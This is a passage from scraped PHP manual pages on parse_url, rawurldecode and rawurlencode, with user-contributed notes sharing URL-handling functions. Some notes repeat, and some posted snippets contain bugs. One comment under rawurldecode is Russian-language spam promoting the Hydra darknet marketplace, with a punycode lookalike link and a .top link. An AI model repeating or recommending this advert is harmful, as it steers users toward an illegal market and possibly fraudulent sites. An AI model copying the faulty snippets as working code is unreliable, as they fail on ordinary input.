    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= '&'.$key.'='.$value;
        }
    }
    return $url;
}

// page url: "http://www.example.com/page.php?p=5&show=list&style=23"

$url = modify_url(array('p' => 4, 'show' => 'column'));

// $url = "http://www.example.com/page.php?p=4&show=column&style=23"
?>
james at roundeights dot com 26-Feb-2010 11:24
I was writing unit tests and needed to cause this function to kick out an error and return FALSE in order to test a specific execution path. If anyone else needs to force a failure, the following inputs will work:

<?php
parse_url("http:///example.com");
parse_url("http://:80");
parse_url("http://user@:80");
?>
need_sunny at yahoo dot com 25-Dec-2009 05:57
Thanks to xellisx for his parse_query function. I used it in one of my projects and it works well. But it has an error. I fixed the error and improved it a little bit. Here is my version of it:

<?php
// Originally written by xellisx
function parse_query($var)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = parse_url($var, PHP_URL_QUERY);
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>

At the first line there was parse_query($val), I made it $var. It used to return a null array before this fix.

I have added the parse_url line. So now the function will only focus in the query part, not the whole URL. This is useful if something like below is done:
<?php
$my_GET = parse_query($_SERVER['REQUEST_URI']);
?>
nirazuelos at gmail dot com 09-Oct-2009 02:45
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
ap dot public1 at gmail dot com 14-Jul-2009 08:36
Simple static library that allows easy manipulation of url parameters:

<?php
    /**
     * File provides easy way to manipulate url parameters
     * @author Alexander Podgorny
     */

    class Url {
        /**
         * Splits url into array of it's pieces as follows:
         * [scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]
         * In addition it adds 'query_params' key which contains array of
         * url-decoded key-value pairs
         *
         * @param String $sUrl Url
         * @return Array Parsed url pieces
         */
        public static function explode($sUrl) {
            $aUrl = parse_url($sUrl);
            $aUrl['query_params'] = array();
            $aPairs = explode('&', $aUrl['query']);
            DU::show($aPairs);
            foreach($aPairs as $sPair) {
                if (trim($sPair) == '') { continue; }
                list($sKey, $sValue) = explode('=', $sPair);
                $aUrl['query_params'][$sKey] = urldecode($sValue);
            }
            return $aUrl;
        }
        /**
         * Compiles url out of array of it's pieces (returned by explodeUrl)
         * 'query' is ignored if 'query_params' is present
         *
         * @param Array $aUrl Array of url pieces
         */
        public static function implode($aUrl) {
            //[scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]

            $sQuery = '';

            // Compile query
            if (isset($aUrl['query_params']) && is_array($aUrl['query_params'])) {
                $aPairs = array();
                foreach ($aUrl['query_params'] as $sKey=>$sValue) {
                    $aPairs[] = $sKey.'='.urlencode($sValue);
                }
                $sQuery = implode('&', $aPairs);
            } else {
                $sQuery = $aUrl['query'];
            }

            // Compile url
            $sUrl =
                $aUrl['scheme'] . '://' . (
                    isset($aUrl['user']) && $aUrl['user'] != '' && isset($aUrl['pass'])
                       ? $aUrl['user'] . ':' . $aUrl['pass'] . '@'
                       : ''
                ) .
                $aUrl['host'] . (
                    isset($aUrl['path']) && $aUrl['path'] != ''
                       ? $aUrl['path']
                       : ''
                ) . (
                   $sQuery != ''
                       ? '?' . $sQuery
                       : ''
                ) . (
                   isset($aUrl['fragment']) && $aUrl['fragment'] != ''
                       ? '#' . $aUrl['fragment']
                       : ''
                );
            return $sUrl;
        }
        /**
         * Parses url and returns array of key-value pairs of url params
         *
         * @param String $sUrl
         * @return Array
         */
        public static function getParams($sUrl) {
            $aUrl = self::explode($sUrl);
            return $aUrl['query_params'];
        }
        /**
         * Removes existing url params and sets them to those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function setParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = $aParams;
            return self::implode($aUrl);
        }
        /**
         * Updates values of existing url params and/or adds (if not set) those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function updateParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = array_merge($aUrl['query_params'], $aParams);
            return self::implode($aUrl);
        }
    }

?>
vdklah at hotmail dot com 17-Oct-2008 02:53
Some example that determines the URL port.
When port not specified, it derives it from the scheme.

<?php
function getUrlPort( $urlInfo )
{
    if( isset($urlInfo['port']) ) {
        $port = $urlInfo['port'];
    } else { // no port specified; get default port
        if (isset($urlInfo['scheme']) ) {
            switch( $urlInfo['scheme'] ) {
                case 'http':
                    $port = 80; // default for http
                    break;
                case 'https':
                    $port = 443; // default for https
                    break;
                case 'ftp':
                    $port = 21; // default for ftp
                    break;
                case 'ftps':
                    $port = 990; // default for ftps
                    break;
                default:
                    $port = 0; // error; unsupported scheme
                    break;
            }
        } else {
            $port = 0; // error; unknown scheme
        }
    }
    return $port;
}

$url = "http://nl3.php.net/manual/en/function.parse-url.php";
$urlInfo = parse_url( $url );
$urlPort = getUrlPort( $urlInfo );
if( $urlPort !== 0 ) {
    print 'Found URL port: '.$urlPort;
} else {
    print 'ERROR: Could not find port at URL: '.$url;
}
?>
xellisx 01-Oct-2008 08:37
I need to parse out the query string from the referrer, so I created this function.

<?php
function parse_query($val)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>
nospam at spellingcow dot com 08-Sep-2008 02:03
URL's in the query string of a relative URL will cause a problem

fails:
/page.php?foo=bar&url=http://www.example.com

parses:
http://www.foo.com/page.php?foo=bar&url=http://www.example.com
to1ne at hotmail dot com 13-Jun-2008 11:01
Based on the idea of "jbr at ya-right dot com" have I been working on a new function to parse the url:

<?php
function parseUrl($url) {
    $r  = "^(?:(?P<scheme>\w+)://)?";
    $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
    $r .= "(?P<host>(?:(?P<subdomain>[\w\.]+)\.)?" . "(?P<domain>\w+\.(?P<extension>\w+)))";
    $r .= "(?::(?P<port>\d+))?";
    $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
    $r .= "(?:\?(?P<arg>[\w=&]+))?";
    $r .= "(?:#(?P<anchor>\w+))?";
    $r = "!$r!";                                                // Delimiters

    preg_match ( $r, $url, $out );

    return $out;
}
print_r ( parseUrl ( 'me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url' ) );
?>

This returns:
Array
(
    [0] => me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url
    [scheme] =>
    [1] =>
    [login] => me
    [2] => me
    [pass] => you
    [3] => you
    [host] => sub.site.org
    [4] => sub.site.org
    [subdomain] => sub
    [5] => sub
    [domain] => site.org
    [6] => site.org
    [extension] => org
    [7] => org
    [port] => 29000
    [8] => 29000
    [path] => /pear/validate.html
    [9] => /pear/validate.html
    [file] => validate.html
    [10] => validate.html
    [arg] => happy=me&sad=you
    [11] => happy=me&sad=you
    [anchor] => url
    [12] => url
)

So both named and numbered array keys are possible.

It's quite advanced, but I think it works in any case... Let me know if it doesn't...
spam at paulisageek dot com 08-Aug-2007 12:05
In reply to adrian,

Thank you very much for your function. There is a small issue with your relative protocol function. You need to remove the // when making the url the path. Here is the new function.

function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>substr($url,2),
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
adrian-php at sixfingeredman dot net 25-Jul-2007 02:58
Here's a function which implements resolving a relative URL according to RFC 2396 section 5.2. No doubt there are more efficient implementations, but this one tries to remain close to the standard for clarity. It relies on a function called "unparse_url" to implement section 7, left as an exercise for the reader (or you can substitute the "glue_url" function posted earlier).

<?php
/**
 * Resolve a URL relative to a base path. This happens to work with POSIX
 * filenames as well. This is based on RFC 2396 section 5.2.
 */
function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>$url,
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
?>


对已编码的 URL 字符串进行解码

  • ? parse_url
  • rawurlencode ?
  • PHP Manual
  • URL 函数
  • 对已编码的 URL 字符串进行解码

rawurldecode

(PHP 4, PHP 5, PHP 7, PHP 8)

rawurldecode — 对已编码的 URL 字符串进行解码

说明

rawurldecode(string $string): string

返回字符串，此字符串中百分号（%）后跟两位十六进制数的序列都将被替换成原义字符。

参数

string

要解码的 URL。

返回值

返回解码后的 URL 字符串。

示例

Example #1 rawurldecode() 示例

<?php

echo rawurldecode('foo%20bar%40baz'); // foo bar@baz

?>

注释

Note:

rawurldecode() 不会把加号（'+'）解码为空格，而 urldecode() 可以。

参见

  • rawurlencode() - 按照 RFC 3986 对 URL 进行编码
  • urldecode() - 解码已编码的 URL 字符串
  • urlencode() - 编码 URL 字符串
  • » RFC 3986

User Contributed Notes

Jameswhoto 07-Feb-2022 11:47
PHP: Add Manual Note
-
Hydraruzxpnew4af - официальный веб-сайт Гидра: https://onion.xn--hdraruxzpnew4af-n35h.com. На нем можно найти тысячи шопов и частных продавцов, которые предлагают покупку любых продуктов на ваш выбор. Площадка открыта для новых пользователей, а также продавцов. Независимо от цели ее использования, вы можете осуществить простую регистрацию и получить максимальный доступ. Магазин Гидра-шоп является крупнейшим в СНГ, а потому, его использование открывает большой перечень возможностей для каждого пользователя. Если вы планируете покупать продукты, то стоит детально изучать проект, поскольку на нем можно найти огромное множество предложений от различных селлеров. Они будут отличаться по стоимости и характерным свойствам. Потому советуем тщательно искать варианты и сравнивать отзывы о шопах, чтобы получить наилучший товар по привлекательной цене. hydraruzxpnew4af

<a href=https://hydraruzapsnew4af.top>гидра купить
</a>

faga76iJ-1
admin at yemennownews dot com 20-May-2018 01:43
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)

http://yemennownews.com
jakub dot lopuszanski at nasza-klasa dot pl 24-Jan-2014 07:59
Be aware that rawurldecode does not warn you in any way if the output is nonvalid UTF-8.
For example if the input passed to the function is just "%C5", then since C is 1100 in binary, and UTF-8 characters starting with 110 should be followed by another character, the result of rawurldecode will be just a single byte (with value \xC5) which is not a correct UTF-8.
Confront this with for example Javascript which will warn you about it:

JAVASCRIPT:

decodeURI("%C5")
URIError: URI malformed

decodeURIComponent("%C5")
URIError: URI malformed

unescape("%C5")
"?"

PHP:
var_dump(rawurldecode("%C5"))
string(1) "?"

php -v
PHP 5.3.6 (cli) (built: Oct  4 2012 10:19:07)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
    with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
Cagivaracer 06-Jul-2009 04:40
Please note that the combination encodeURIComponent (Javascript) and rawurldecode (PHP) only works well if magic quotes are turned off in php.ini (magic_quotes_gpc = Off)
Javier A. Segura at gmail dot com 04-Jan-2008 12:13
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like ?","?","á","é","í", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// á?

?>
For example, you have the character "?" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "?" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// ?

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Javier A. Segura at gmail dot com 04-Jan-2008 12:07
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like ?","?","á","é","í", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// á?

?>
For example, you have the character "?" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "?" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// ?

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:03
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)
php dot net at hiddemann dot org 23-May-2005 02:08
To sum it up: the only difference of this function to the urldecode function is that the "+" character won't get translated.


按照 RFC 3986 对 URL 进行编码

  • ? rawurldecode
  • urldecode ?
  • PHP Manual
  • URL 函数
  • 按照 RFC 3986 对 URL 进行编码

rawurlencode

(PHP 4, PHP 5, PHP 7, PHP 8)

rawurlencode — 按照 RFC 3986 对 URL 进行编码

说明

rawurlencode(string $string): string

根据 » RFC 3986 编码指定的字符。

参数

string

要编码的 URL。

返回值

返回字符串，此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号（%）后跟两位十六进制数。这是在 » RFC 3986 中描述的编码，是为了保护原义字符以免其被解释为特殊的 URL 定界符，同时保护 URL 格式以免其被传输媒体（像一些邮件系统）使用字符转换时弄乱。

示例

Example #1 在 FTP URL 里包含一个密码

<?php
echo '<a href="ftp://user:', rawurlencode('foo @+%/'),
'@ftp.example.com/x.txt">';
?>

以上示例会输出：

<a href="ftp://user:foo%20%40%2B%25%2F@ftp.example.com/x.txt">

或者，如果你想通过 URL 的 PATH_INFO 构成部分去传递信息：

Example #2 rawurlencode() 示例 2

<?php
echo '<a href="http://example.com/department_list_script/',
rawurlencode('sales and marketing/Miami'), '">';
?>

以上示例会输出：

<a href="http://example.com/department_list_script/sales%20and%20marketing%2FMiami">

参见

  • rawurldecode() - 对已编码的 URL 字符串进行解码
  • urldecode() - 解码已编码的 URL 字符串
  • urlencode() - 编码 URL 字符串
  • » RFC 3986

User Contributed Notes

Dominik 21-Jan-2021 07:33
Sample function to sanitize a full URL:
<?php
private function sanitizeUrl($url){
        $parts = parse_url($url);

        // Optional but we only sanitize URLs with scheme and host defined
        if($parts === false || empty($parts["scheme"]) || empty($parts["host"])){
            return $url;
        }

        $sanitizedPath = null;
        if(!empty($parts["path"])){
            $pathParts = explode("/", $parts["path"]);
            foreach($pathParts as $pathPart){
                if(empty($pathPart)) continue;
                // The Path part might already be urlencoded
                $sanitizedPath .= "/" . rawurlencode(rawurldecode($pathPart));
            }
        }

        // Build the url
        $targetUrl = $parts["scheme"] . "://" .
            ((!empty($parts["user"]) && !empty($parts["pass"])) ? $parts["user"] . ":" . $parts["pass"] . "@" : "") .
            $parts["host"] .
            (!empty($parts["port"]) ? ":" . $parts["port"] : "") .
            (!empty($sanitizedPath) ? $sanitizedPath : "") .
            (!empty($parts["query"]) ? "?" . $parts["query"] : "") .
            (!empty($parts["fragment"]) ? "#" . $parts["fragment"] : "");

        return $targetUrl;
    }
?>
msegit post pl 16-Jul-2018 02:10
URL/URI encoding is very complicated matter.
For example
'http://example.org:port/path1/path2/data?key1=value1&argument#fragment' (1), or
'scheme://user:password@example.com:port/path1/path2/data?key1=value1&key2=value2#fragment' (2)
e.g. this (2) should be encoded:
'scheme://'.rawurlencode('user').':'.rawurlencode('password').'@example.com:port/'
 .rawurlencode('path1').'/'.rawurlencode('path2').'/'.rawurlencode('data')
 .'?'.htmlentities(urlencode('key1').'='.urlencode('value1').'&'.urlencode('key2').'='.urlencode('value2'))
 .'#'.urlencode('fragment') etc.

For easy encoding, I've written 'toURI' function, see https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a

  URIs as:    [scheme:][//authority][path][?query][#fragment]
   means        [scheme:][//[user[:password]@]host[:port]][/path][?query][#fragment]
   or:            scheme:[user@host][?query] (mailto: etc.)

toURI() short review:

fragment ==> urlencode (e.g. space to '+')
query, as 'key1=value1&key2' ==> each key and value: urlencode (or rawurlencode when $type<0)
    then whole query ==> htmlentities
path, as dir/dir/file ==> each dir and file: rawurlencode (e.g. space to %20)
user:password ==> user and password separately: rawurlencode
(see Anonymous note from 2002-09-13 !)

toURI() using examples:

<?php
//Simple use, without special characters in query arguments/values

echo toURI('key1=value1&key2=value 2&argument1 argument2#fragment');
    //'key1=value1&amp;key2=value+2&amp;argument1+argument2#fragment' - OK
echo toURI('?key1=value 1&argu+ments#frag');
    //'?key1=value+1&amp;argu%2Bments#frag' - OK
echo toURI('../path 1/path 2/file name');
    //'../path%201/path%202/file%20name' - OK
echo toURI('example.com/path1/path2/data?key1=value1&key2=value2#fragment', 1);
    //'example.com/path1/path2/data?key1=value1&amp;key2=value2#fragment' - OK; better 1 than autodetection
echo toURI('http://user:_pass word_@example.com:123/path 1/data?key1=value 1&key2=value2#fragment');    // with username, password or unknown query arguments, use $spec_replace - see below

echo toURI('path 1/path 2/da ta?key1=value 1&argu+ments#frag', 5);
    //'path 1/path%202/da%20ta?key1=value+1&amp;argu%2Bments#frag' - wrong, should be 4:
echo toURI('path 1/path 2/da ta?key1=value 1&argu+ments#frag', 4);
    //'path%201/path%202/da%20ta?key1=value+1&amp;argu%2Bments#frag' - OK

echo toURI('example.com:port/path1/path2/data?key=value&path=dir 1/dir 2/file#fragment', 5);
    //'example.com:port/path1/path2/data?key=value&amp;path=dir+1/dir+2/file#fragment' - OK

echo toURI('path1/path2/data?key1=valueWith~!@?/#$%^&*()inside&arg#frag', 2);
    //'path1/path2/data?key1=valueWith%7E%21@?/%23%24%25%5E&amp;%2A%28%29inside&amp;arg#frag' - wrong (first &amp;), use $spec_replace - see fuller examples on my github https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a
?>
jz 08-Mar-2015 11:26
For those looking to strip all non-reserved characters from a URL according to RFC 3986, the code would look like:

 <?php
$stripped = preg_replace('/[^[:alnum:]-._~]/', '', $source);
?>

To get this string as it should be used in a url, you still probably want to use rawurlencode, as the [:alpha:] posix bracket expression will catch accented characters - use [A-Za-z][0-9] instead if you only want to include ascii characters.

So a basic "slug" generation routine might look like:

 <?php
function strtoslug($string) {
    // strip out all but unreserved characters from rfc:3986
    $stripped = preg_replace('/[^[:alnum:][:blank:]-._~]/', '', $string);
    // convert compacted whitespace to hyphens
    $slug = preg_replace('/[:blank:]+/', '-', $stripped);
    return $slug;
}
?>
Anonymous 22-Jan-2012 03:42
If you, like me, sometimes have the misfortune of being forced to work with PHP4, here is a PHP implementation of http_build_query() that produces more or less the same output as this function, accepting the same arguments.

The only differences here are that the RFC selector argument does not behave precisely correctly. This implementation passes RFC1738 through urlencode() and RFC3986 through rawurlencode(), which is not 100% correct, see the manual pages of those function for more information.

<?php

  if (!function_exists('http_build_query')) {

    if (!defined('PHP_QUERY_RFC1738')) define('PHP_QUERY_RFC1738', 1);
    if (!defined('PHP_QUERY_RFC3986')) define('PHP_QUERY_RFC3986', 2);

    function http_build_query ($query_data, $numeric_prefix = NULL, $arg_separator = NULL, $enc_type = PHP_QUERY_RFC1738, $base = NULL) {
